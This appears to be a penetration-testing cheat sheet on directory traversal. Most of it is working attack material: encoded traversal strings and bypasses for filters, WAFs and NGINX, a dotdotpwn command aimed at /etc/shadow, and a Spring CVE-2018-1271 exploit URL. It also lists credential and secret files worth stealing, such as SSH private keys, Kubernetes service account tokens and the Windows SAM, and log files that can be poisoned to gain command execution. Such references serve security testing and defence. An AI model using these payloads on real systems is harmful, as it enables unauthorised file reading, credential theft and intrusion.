5.2 KiB
Directory traversal
A directory or path traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.
Summary
Tools
- dotdotpwn - https://github.com/wireghoul/dotdotpwn
git clone https://github.com/wireghoul/dotdotpwn perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b
Basic exploitation
We can use the .. characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
16 bits Unicode encoding
. = %u002e
/ = %u2215
\ = %u2216
UTF-8 Unicode encoding
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c
Bypass "../" replaced by ""
Sometimes you encounter a WAF which remove the "../" characters from the strings, just duplicate them.
..././
...\.\
Bypass "../" with ";"
..;/
http://domain.tld/page.jsp?include=..;/..;/sensitive.txt
Double URL encoding
. = %252e
/ = %252f
\ = %255c
e.g: Spring MVC Directory Traversal Vulnerability (CVE-2018-1271) with http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
UNC Bypass
An attacker can inject a Windows UNC share ('\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file.
\\localhost\c$\windows\win.ini
NGINX/ALB Bypass
NGINX in certain configurations and ALB can block traversal attacks in the route, For example:
http://nginx-server/../../ will return a 400 bad request.
To bypass this behaviour just add forward slashes in front of the url:
http://nginx-server////////../../
Path Traversal
Interesting Linux files
/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/mlocate.db
Interesting Windows files
Always existing file in recent Windows machine. Ideal to test path traversal but nothing much interesting inside...
c:\windows\system32\license.rtf
c:\windows\system32\eula.txt
Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)
c:/boot.ini
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/system
The following log files are controllable and can be included with an evil payload to achieve a command execution
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail